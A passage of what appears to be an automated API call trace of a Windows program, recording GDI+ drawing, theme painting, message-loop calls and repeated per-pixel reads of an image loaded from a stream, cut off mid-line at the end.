(matrix=0x52e7a8) returned 0x0 [0262.923] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d98090) returned 0x0 [0262.923] GdipIsMatrixIdentity (matrix=0x4d98090, result=0x52e7c0) returned 0x0 [0262.923] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4e30 [0262.923] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4e30) returned 0x0 [0262.923] LocalFree (hMem=0x4fa4e30) returned 0x0 [0262.923] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4e30 [0262.923] GdipGetMatrixElements (matrix=0x4d98090, matrixOut=0x4fa4e30) returned 0x0 [0262.923] LocalFree (hMem=0x4fa4e30) returned 0x0 [0262.923] GdipDeleteMatrix (matrix=0x4d98090) returned 0x0 [0262.923] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7e8) returned 0x0 [0262.923] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d8) returned 0x0 [0262.923] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7d8) returned 0x0 [0262.923] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0262.923] GdipGetDC (graphics=0x4da5930, hdc=0x52e7f0) returned 0x0 [0262.923] GetCurrentObject (hdc=0x1a0101b3, type=0x1) returned 0x1b00017 [0262.923] GetCurrentObject (hdc=0x1a0101b3, type=0x2) returned 0x1900010 [0262.923] GetCurrentObject (hdc=0x1a0101b3, type=0x7) returned 0xa0506be [0262.923] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.923] SaveDC (hdc=0x1a0101b3) returned 1 [0262.923] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0xc3040221 [0262.923] GetClipRgn (hdc=0x1a0101b3, hrgn=0xc3040221) returned 0 [0262.924] SelectClipRgn (hdc=0x1a0101b3, hrgn=0x970401e4) returned 2 [0262.924] DeleteObject (ho=0xc3040221) returned 1 [0262.924] DeleteObject (ho=0x970401e4) returned 1 [0262.924] OffsetViewportOrgEx (in: hdc=0x1a0101b3, x=0, y=0, lppt=0x2488330 | out: lppt=0x2488330) returned 1 [0262.924] IsAppThemed () returned 0x1 [0262.924] GetThemeAppProperties () returned 0x3 [0262.924] GetThemeAppProperties () returned 0x3 [0262.924] DrawThemeBackground () returned 0x0 [0262.924] RestoreDC (hdc=0x1a0101b3, nSavedDC=-1) returned 1 [0262.924] GdipReleaseDC (graphics=0x4da5930, hdc=0x1a0101b3) returned 0x0 [0262.924] GdipCreateRegion (region=0x52e790) returned 0x0 [0262.924] GdipGetClip (graphics=0x4da5930, region=0x4da5c10) returned 0x0 [0262.924] GdipCreateMatrix (matrix=0x52e790) returned 0x0 [0262.924] GdipGetWorldTransform (graphics=0x4da5930, matrix=0x4d97aa8) returned 0x0 [0262.924] GdipIsMatrixIdentity (matrix=0x4d97aa8, result=0x52e7a8) returned 0x0 [0262.924] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4e30 [0262.924] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4e30) returned 0x0 [0262.924] LocalFree (hMem=0x4fa4e30) returned 0x0 [0262.924] LocalAlloc (uFlags=0x0, uBytes=0x30) returned 0x4fa4e30 [0262.924] GdipGetMatrixElements (matrix=0x4d97aa8, matrixOut=0x4fa4e30) returned 0x0 [0262.924] LocalFree (hMem=0x4fa4e30) returned 0x0 [0262.925] GdipDeleteMatrix (matrix=0x4d97aa8) returned 0x0 [0262.925] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7d0) returned 0x0 [0262.925] GdipIsInfiniteRegion (region=0x4da5c10, graphics=0x4da5930, result=0x52e7c0) returned 0x0 [0262.925] GdipGetRegionHRgn (region=0x4da5c10, graphics=0x4da5930, hRgn=0x52e7c0) returned 0x0 [0262.925] GdipDeleteRegion (region=0x4da5c10) returned 0x0 [0262.925] GdipGetDC (graphics=0x4da5930, hdc=0x52e7d8) returned 0x0 [0262.925] GetCurrentObject (hdc=0x1a0101b3, type=0x1) returned 0x1b00017 [0262.925] GetCurrentObject (hdc=0x1a0101b3, type=0x2) returned 0x1900010 [0262.925] GetCurrentObject (hdc=0x1a0101b3, type=0x7) returned 0xa0506be [0262.925] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.925] SaveDC (hdc=0x1a0101b3) returned 1 [0262.925] CreateRectRgn (x1=0, y1=0, x2=0, y2=0) returned 0x980401e4 [0262.925] GetClipRgn (hdc=0x1a0101b3, hrgn=0x980401e4) returned 0 [0262.925] SelectClipRgn (hdc=0x1a0101b3, hrgn=0xc4040221) returned 2 [0262.925] DeleteObject (ho=0x980401e4) returned 1 [0262.925] DeleteObject (ho=0xc4040221) returned 1 [0262.925] OffsetViewportOrgEx (in: hdc=0x1a0101b3, x=0, y=0, lppt=0x2488604 | out: lppt=0x2488604) returned 1 [0262.925] IsAppThemed () returned 0x1 [0262.925] GetThemeAppProperties () returned 0x3 [0262.925] GetThemeAppProperties () returned 0x3 [0262.925] GetThemeBackgroundContentRect () returned 0x0 [0262.925] RestoreDC (hdc=0x1a0101b3, nSavedDC=-1) returned 1 [0262.926] GdipReleaseDC (graphics=0x4da5930, hdc=0x1a0101b3) returned 0x0 [0262.926] IsAppThemed () returned 0x1 [0262.926] GetThemeAppProperties () returned 0x3 [0262.926] GetThemeAppProperties () returned 0x3 [0262.926] GdipGetTextRenderingHint (graphics=0x4da5930, mode=0x52e908) returned 0x0 [0262.926] GdipGetDC (graphics=0x4da5930, hdc=0x52e8f4) returned 0x0 [0262.926] GetCurrentObject (hdc=0x1a0101b3, type=0x1) returned 0x1b00017 [0262.926] GetCurrentObject (hdc=0x1a0101b3, type=0x2) returned 0x1900010 [0262.926] GetCurrentObject (hdc=0x1a0101b3, type=0x7) returned 0xa0506be [0262.926] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.926] SaveDC (hdc=0x1a0101b3) returned 1 [0262.926] GetTextAlign (hdc=0x1a0101b3) returned 0x0 [0262.926] GetTextColor (hdc=0x1a0101b3) returned 0x0 [0262.926] GetCurrentObject (hdc=0x1a0101b3, type=0x6) returned 0x18a002e [0262.926] GetObjectW (in: h=0x18a002e, c=92, pv=0x52e5fc | out: pv=0x52e5fc) returned 92 [0262.926] SelectObject (hdc=0x1a0101b3, h=0xc0a01e7) returned 0x18a002e [0262.926] GetBkMode (hdc=0x1a0101b3) returned 2 [0262.926] SetBkMode (hdc=0x1a0101b3, mode=1) returned 2 [0262.926] DrawTextExW (in: hdc=0x1a0101b3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e6d0, format=0x2415, lpdtp=0x2488998 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e6d0) returned 13 [0262.927] DrawTextExW (in: hdc=0x1a0101b3, lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", cchText=25, lprc=0x52e888, format=0x2015, lpdtp=0x2488998 | out: lpchText="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e", lprc=0x52e888) returned 13 [0262.927] RestoreDC (hdc=0x1a0101b3, nSavedDC=-1) returned 1 [0262.927] GdipReleaseDC (graphics=0x4da5930, hdc=0x1a0101b3) returned 0x0 [0262.927] GetFocus () returned 0x10186 [0262.927] IsAppThemed () returned 0x1 [0262.927] GetThemeAppProperties () returned 0x3 [0262.927] GetThemeAppProperties () returned 0x3 [0262.927] GdipGetDC (graphics=0x4da5930, hdc=0x52ead4) returned 0x0 [0262.927] BitBlt (hdc=0x60106b7, x=0, y=0, cx=163, cy=29, hdcSrc=0x1a0101b3, x1=0, y1=0, rop=0xcc0020) returned 1 [0262.928] GdipReleaseDC (graphics=0x4da5930, hdc=0x1a0101b3) returned 0x0 [0262.928] SelectPalette (hdc=0x60106b7, hPal=0x188000b, bForceBkgd=0) returned 0x190806b0 [0262.928] SelectObject (hdc=0x1a0101b3, h=0x185000f) returned 0xa0506be [0262.928] DeleteDC (hdc=0x1a0101b3) returned 1 [0262.928] GdipDeleteGraphics (graphics=0x4da5930) returned 0x0 [0262.933] EndPaint (hWnd=0x10186, lpPaint=0x52ea78) returned 1 [0262.933] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0262.933] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0262.933] WaitMessage () returned 1 [0263.032] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0263.032] IsWindowUnicode (hWnd=0x101a4) returned 1 [0263.032] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0263.032] TranslateMessage (lpMsg=0x52ef98) returned 0 [0263.032] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0263.032] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0263.032] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0263.032] WaitMessage () returned 1 [0263.225] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 1 [0263.225] IsWindowUnicode (hWnd=0x101a6) returned 1 [0263.225] GetMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x52ef98) returned 1 [0263.225] TranslateMessage (lpMsg=0x52ef98) returned 0 [0263.225] DispatchMessageW (lpMsg=0x52ef98) returned 0x0 [0263.225] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0263.225] PeekMessageW (in: lpMsg=0x52ef98, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x52ef98) returned 0 [0263.225] WaitMessage () Thread: id = 55 os_tid = 0x6c4 Thread: id = 56 os_tid = 0x6c8 [0208.008] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0231.858] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0232.498] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0232.606] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0234.259] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 [0234.260] SleepEx (dwMilliseconds=0x5, bAlertable=0) returned 0x0 Thread: id = 60 os_tid = 0x6e0 Thread: id = 61 os_tid = 0x57c Thread: id = 63 os_tid = 0x5fc [0221.893] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0222.774] GdipLoadImageFromStream (stream=0x5f0030, image=0x636ead0) returned 0x0 [0222.816] GdipImageForceValidation (image=0x4d97af8) returned 0x0 [0222.827] GdipGetImageType (image=0x4d97af8, type=0x636eacc) returned 0x0 [0222.827] GdipGetImageRawFormat (image=0x4d97af8, format=0x636ea50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0222.849] GdipLoadImageFromStream (stream=0x5f0010, image=0x636ead0) returned 0x0 [0222.854] GdipImageForceValidation (image=0x4da5040) returned 0x0 [0222.859] GdipGetImageType (image=0x4da5040, type=0x636eacc) returned 0x0 [0222.859] GdipGetImageRawFormat (image=0x4da5040, format=0x636ea50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0223.026] GdipLoadImageFromStream (stream=0x5ffff0, image=0x636ead0) returned 0x0 [0223.027] GdipImageForceValidation (image=0x4da5600) returned 0x0 [0223.030] GdipGetImageType (image=0x4da5600, type=0x636eacc) returned 0x0 [0223.030] GdipGetImageRawFormat (image=0x4da5600, format=0x636ea50*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0))) returned 0x0 [0223.128] CoCreateGuid (in: pguid=0x636eee0 | out: pguid=0x636eee0*(Data1=0x7e4425e8, Data2=0x5821, Data3=0x4fda, Data4=([0]=0xa8, [1]=0xbd, [2]=0x4b, [3]=0xb, [4]=0x84, [5]=0x8f, [6]=0x3e, [7]=0xe7))) returned 0x0 [0223.675] CoCreateGuid (in: pguid=0x636ef54 | out: pguid=0x636ef54*(Data1=0x88ee8a70, Data2=0x5493, Data3=0x4860, Data4=([0]=0x99, [1]=0x91, [2]=0x8, [3]=0x76, [4]=0x8a, [5]=0x6f, [6]=0x70, [7]=0x9d))) returned 0x0 [0223.681] CoCreateGuid (in: pguid=0x636e0e8 | out: pguid=0x636e0e8*(Data1=0x3a8c17a0, Data2=0x1a49, Data3=0x4202, Data4=([0]=0x94, [1]=0x89, [2]=0x2, [3]=0xd6, [4]=0x22, [5]=0x6d, [6]=0x7a, [7]=0xd1))) returned 0x0 [0224.710] GdipGetImageWidth (image=0x4da5600, width=0x636e104) returned 0x0 [0224.710] GdipGetImageHeight (image=0x4da5600, height=0x636e104) returned 0x0 [0224.710] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.710] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.710] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=0, color=0x636e0f0) returned 0x0 [0224.711] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=1, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=2, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=3, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=4, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=5, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=6, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=7, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.712] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=8, color=0x636e0f0) returned 0x0 [0224.712] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.712] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=9, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=10, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=11, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=12, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=13, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=14, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=15, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=16, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.713] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=17, color=0x636e0f0) returned 0x0 [0224.713] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.713] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=18, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=19, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=20, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=21, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=22, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=23, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=24, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=25, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.714] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=26, color=0x636e0f0) returned 0x0 [0224.714] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.714] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=27, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=28, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=29, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=30, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=31, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=32, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=33, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=34, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=35, color=0x636e0f0) returned 0x0 [0224.715] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.715] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.715] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=36, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=37, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=38, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=39, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=40, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=41, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=42, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=43, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=44, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.716] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.716] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=45, color=0x636e0f0) returned 0x0 [0224.716] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.717] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=46, color=0x636e0f0) returned 0x0 [0224.717] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.717] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=47, color=0x636e0f0) returned 0x0 [0224.717] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.717] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=48, color=0x636e0f0) returned 0x0 [0224.717] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.717] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=49, color=0x636e0f0) returned 0x0 [0224.717] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.717] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=50, color=0x636e0f0) returned 0x0 [0224.717] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.717] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=51, color=0x636e0f0) returned 0x0 [0224.717] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.717] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, y=52, color=0x636e0f0) returned 0x0 [0224.717] GdipGetImageWidth (image=0x4da5600, width=0x636e0e0) returned 0x0 [0224.717] GdipGetImageHeight (image=0x4da5600, height=0x636e0e0) returned 0x0 [0224.718] GdipBitmapGetPixel (bitmap=0x4da5600, x=0, 